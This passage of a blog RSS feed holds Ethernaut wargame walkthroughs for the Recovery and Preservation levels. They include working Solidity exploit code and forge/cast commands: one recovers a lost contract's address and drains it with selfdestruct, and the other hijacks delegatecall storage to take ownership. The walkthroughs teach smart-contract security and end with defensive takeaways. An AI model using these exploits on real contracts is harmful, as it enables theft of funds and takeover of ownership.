<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">"forge-std/Script.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"../instances/Ilevel17.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">POC</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Script</span> </span>{

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">run</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>{
        vm.startBroadcast();
        <span class="hljs-keyword">address</span> <span class="hljs-keyword">payable</span> lostcontract <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-keyword">uint160</span>(<span class="hljs-keyword">uint256</span>(<span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodePacked</span>(<span class="hljs-keyword">bytes1</span>(<span class="hljs-number">0xd6</span>), <span class="hljs-keyword">bytes1</span>(<span class="hljs-number">0x94</span>), <span class="hljs-keyword">address</span>(<span class="hljs-number">0xd89bEAe5D371Bc79754623f7f789a395F3D83b3C</span>), <span class="hljs-keyword">bytes1</span>(<span class="hljs-number">0x01</span>))))));

        SimpleToken level15 <span class="hljs-operator">=</span> SimpleToken(lostcontract);
        level15.destroy(<span class="hljs-number">0xEAce4b71CA1A128e8B562561f46896D55B9B0246</span>);

        vm.stopBroadcast();
    }
}
</code></pre>
<p>Using the formula described above, we are calculating the address of the lost contract and calling the <code>destroy()</code> with any random address to withdraw the ether from the contract using <code>selfdestruct</code>. </p>
<p>Execute the script using the following command:</p>
<pre><code>forge script ./script<span class="hljs-operator">/</span>level17.sol <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-keyword">private</span><span class="hljs-operator">-</span>key $PKEY <span class="hljs-operator">-</span><span class="hljs-operator">-</span>broadcast <span class="hljs-operator">-</span><span class="hljs-operator">-</span>rpc<span class="hljs-operator">-</span>url $RPC_URL <span class="hljs-operator">-</span>vvvv
</code></pre><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1661701739791/8QhYV4gXj.png" alt="image.png" /></p>
<p>The updated contract balance can also be checked on Etherscan. The instance can now be submitted to finish the level. </p>
<blockquote>
<p>My Github Repository containing all the codes: github.com/az0mb13/ethernaut-foundry</p>
<p>My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - https://blog.dixitaditya.com/getting-started-with-ethernaut-hello-ethernaut</p>
</blockquote>
<hr />
<h2 id="heading-takeaways">Takeaways</h2>
<ul>
<li>Contract addresses are deterministic. Creating sensitive business logic around contract addresses should be validated properly. </li>
<li>Ether can be sent to a non-existent contract therefore validations around the contract's balance should be enforced accordingly. </li>
</ul>
<hr />
<h4 id="heading-references">References</h4>
<ul>
<li>https://ethereum.org/en/developers/docs/data-structures-and-encoding/rlp/</li>
<li>https://ethereum.github.io/yellowpaper/paper.pdf#page=19</li>
<li>https://ethereum.stackexchange.com/questions/760/how-is-the-address-of-an-ethereum-contract-computed</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Ethernaut Level 16 - Preservation]]></title><description><![CDATA[Objectives
This level wants us to become the new owner to complete the instance. 
This is similar to other levels where we solved challenges related to delegate calls and how they can be used to preserve the state and storage. It is recommended to go...]]></description><link>https://blog.dixitaditya.com/ethernaut-level-16-preservation</link><guid isPermaLink="true">https://blog.dixitaditya.com/ethernaut-level-16-preservation</guid><category><![CDATA[Ethernaut]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Security]]></category><category><![CDATA[Web3]]></category><category><![CDATA[Ethereum]]></category><dc:creator><![CDATA[Aditya Dixit]]></dc:creator><pubDate>Sun, 28 Aug 2022 09:23:44 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1661678597753/1mN-duloA.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-objectives">Objectives</h2>
<p>This <a target="_blank" href="https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F">level</a> wants us to become the new owner to complete the instance. </p>
<p>This is similar to other levels where we solved challenges related to delegate calls and how they can be used to preserve the state and storage. It is recommended to go through levels <a target="_blank" href="https://blog.dixitaditya.com/ethernaut-level-06-delegation">6</a> and <a target="_blank" href="https://blog.dixitaditya.com/ethernaut-level-12-privacy">12</a> before starting with this one. Let's dive in.</p>
<hr />
<h2 id="heading-analysis">Analysis</h2>
<p>We learned in levels <a target="_blank" href="https://blog.dixitaditya.com/ethernaut-level-06-delegation">6</a> and <a target="_blank" href="https://blog.dixitaditya.com/ethernaut-level-12-privacy">12</a> about how delegate calls can be used to make external calls to other contracts. This is mostly used in library calls and the storage changes are replicated. </p>
<p>A delegate call is a special low-level call in Solidity to make external calls to another contract. <a target="_blank" href="https://solidity-by-example.org/delegatecall/">Solidity By Example</a> does an excellent job of explaining this. </p>
<p>Let's assume there are two contracts, similar to the one shown in Ethernaut's Delegation level, contracts <code>A</code> and <code>B</code>.
When contract <code>A</code> executes <code>delegatecall</code> to contract <code>B</code>, <code>B</code>'s code is executed with contract <code>A</code>'s storage, <code>msg.sender</code> and <code>msg.value</code>.</p>
<p>This means that it is possible to modify a contract's storage using a code (malicious code) belonging to another contract.</p>
<p>Let's go through the vulnerable code:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Preservation</span> </span>{

    <span class="hljs-comment">// public library contracts </span>
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> timeZone1Library;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> timeZone2Library;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> owner; 
    <span class="hljs-keyword">uint</span> storedTime;
    <span class="hljs-comment">// Sets the function signature for delegatecall</span>
    <span class="hljs-keyword">bytes4</span> <span class="hljs-keyword">constant</span> setTimeSignature <span class="hljs-operator">=</span> <span class="hljs-keyword">bytes4</span>(<span class="hljs-built_in">keccak256</span>(<span class="hljs-string">"setTime(uint256)"</span>));

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _timeZone1LibraryAddress, <span class="hljs-keyword">address</span> _timeZone2LibraryAddress</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        timeZone1Library <span class="hljs-operator">=</span> _timeZone1LibraryAddress; 
        timeZone2Library <span class="hljs-operator">=</span> _timeZone2LibraryAddress; 
        owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
    }

    <span class="hljs-comment">// set the time for timezone 1</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setFirstTime</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> _timeStamp</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        timeZone1Library.<span class="hljs-built_in">delegatecall</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodePacked</span>(setTimeSignature, _timeStamp));
    }

    <span class="hljs-comment">// set the time for timezone 2</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setSecondTime</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> _timeStamp</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        timeZone2Library.<span class="hljs-built_in">delegatecall</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodePacked</span>(setTimeSignature, _timeStamp));
    }
}

<span class="hljs-comment">// Simple library contract to set the time</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">LibraryContract</span> </span>{

    <span class="hljs-comment">// stores a timestamp </span>
    <span class="hljs-keyword">uint</span> storedTime;    

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setTime</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> _time</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        storedTime <span class="hljs-operator">=</span> _time;
    }
}
</code></pre>
<h3 id="heading-preservation-contract">Preservation Contract</h3>
<ul>
<li>The Preservation contract defines some state variables, in which the first and second variable holds the addresses for the libraries and the third one is the owner in which we need to store our address. These addresses are predefined in the constructor and there's no way to change them. **<strong>wink wink</strong>**</li>
<li>The variable <code>setTimeSignature</code> defines a function signature which will be used in delegate call so it knows which function name to call. </li>
<li>The functions <code>setFirstTime</code> and <code>setSecondTime</code> are taking a timestamp as input and making delegate calls to the libraries. So the only part we control here is the parameter <code>uint _timeStamp</code>. </li>
</ul>
<h3 id="heading-librarycontract">LibraryContract</h3>
<ul>
<li>This is defining a variable called <code>storedTime</code> in slot 0 which maps to the variable <code>address public timeZone1Library</code> in the Preservation contract. </li>
<li>The function <code>setTime()</code> is taking an input which is controlled by us and is stored inside the above variable. </li>
</ul>
<p><strong>To complete the level</strong>, here's what we have to do:</p>
<ol>
<li>Create an attacker contract (DelegateHack) and call the <code>setFirstTime()</code> function. In the function argument <code>_timeStamp</code>, pass the address of the DelegateHack. </li>
<li>This will make a delegatecall to the LibraryContract and call the <code>setTime()</code> function with the address of the DelegateHack contract in<code>_time</code>. This will be stored in the parameter <code>storedTime</code> on slot 0. </li>
<li>Since the Preservation contract has the variable <code>timeZone1Library</code> in slot 0, it will get updated with the DelegateHack's address. Now we have control over one of the libraries. </li>
<li>We will implement our own <code>setTime()</code> function in our library/contract/DelegateHack and accept an address and store it inside our own <code>owner</code> variable. </li>
<li>To make sure the value of the <code>owner</code> is updated in slot 2 of the Preservation contract, we will organize the slots in our contract accordingly. </li>
<li>Now we will make another call to the <code>setFirstTime</code> function of the Preservation contract. Since we control the library's address, the execution flow will go to our own DelegateHack contract and set the owner which will then be reflected in the Preservation contract as well. </li>
</ol>
<hr />
<h2 id="heading-the-exploit">The Exploit</h2>
<p>Let's now look at our <a target="_blank" href="https://github.com/az0mb13/ethernaut-foundry/blob/master/src/level16.sol">exploit code</a>:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">"../instances/Ilevel16.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">DelegateHack</span> </span>{

    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> t1;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> t2;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> owner;
    Preservation level16 <span class="hljs-operator">=</span> Preservation(<span class="hljs-number">0x1E422B805DC5541a09fBbf239D734313B9F42Eca</span>);      

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">exploit</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        level16.setFirstTime(<span class="hljs-keyword">uint256</span>(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>)));
        level16.setFirstTime(<span class="hljs-keyword">uint256</span>(<span class="hljs-number">0xEAce4b71CA1A128e8B562561f46896D55B9B0246</span>));
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setTime</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _owner</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        owner <span class="hljs-operator">=</span> _owner;
    }

}
</code></pre>
<p>As mentioned above, we are calling <code>setFirstTime()</code> first with the address of our DelegateHack contract and then again with the address value we want to set as the owner in the Preservation contract. </p>
<p>We are also defining a function with the same name as in the LibraryContract - <code>setTime()</code> because the function signature is constant in <code>setTimeSignature</code>. But our function is taking an address and assigning it to the owner variable in slot 2 which is mapped to the <code>owner</code> variable in the Preservation contract since our slot arrangement is the same. This will set the owner. </p>
<p>Let's deploy the contract using:</p>
<pre><code>forge create DelegateHack <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-keyword">private</span><span class="hljs-operator">-</span>key $PKEY <span class="hljs-operator">-</span><span class="hljs-operator">-</span>rpc<span class="hljs-operator">-</span>url $RPC_URL
</code></pre><p>Now we can call our <code>exploit()</code> function to trigger the exploit and become the new owner:</p>
<pre><code><span class="hljs-attribute">cast</span> send <span class="hljs-number">0</span>x<span class="hljs-number">1</span>e<span class="hljs-number">36</span>cAD<span class="hljs-number">4732</span>E<span class="hljs-number">1</span>EFD<span class="hljs-number">5</span>Dd<span class="hljs-number">5</span>dAf<span class="hljs-number">44</span>C<span class="hljs-number">3</span>E<span class="hljs-number">4</span>c<span class="hljs-number">6</span>f<span class="hljs-number">622</span>D<span class="hljs-number">93</span>fC <span class="hljs-string">"exploit()"</span> --private-key $PKEY --rpc-url $RPC_URL
</code></pre><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1661677931594/rgsdGtjc7.png" alt="image.png" /></p>
<p>The instance can now be submitted to finish the level. </p>
<blockquote>
<p>My <strong>Github Repository</strong> containing all the codes: github.com/az0mb13/ethernaut-foundry</p>
<p>My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - https://blog.dixitaditya.com/getting-started-with-ethernaut-hello-ethernaut</p>
</blockquote>
<hr />
<h2 id="heading-takeawayshttpsmediumcomcoinmonksethernaut-lvl-16-preservation-walkthrough-how-to-inject-malicious-contracts-with-delegatecall-81e071f98a12"><a target="_blank" href="https://medium.com/coinmonks/ethernaut-lvl-16-preservation-walkthrough-how-to-inject-malicious-contracts-with-delegatecall-81e071f98a12">Takeaways</a></h2>
<ul>
<li>Ideally, libraries should not store state.</li>
<li>When creating libraries, use the keyword <code>library</code>, not <code>contract</code>, to ensure libraries will not modify caller storage data when the caller uses a <code>delegatecall</code>.</li>
<li>Use higher-level function calls to inherit from libraries, especially when you don’t need to change contract storage and do not care about gas control.</li>
</ul>
]]></content:encoded></item></channel></rss>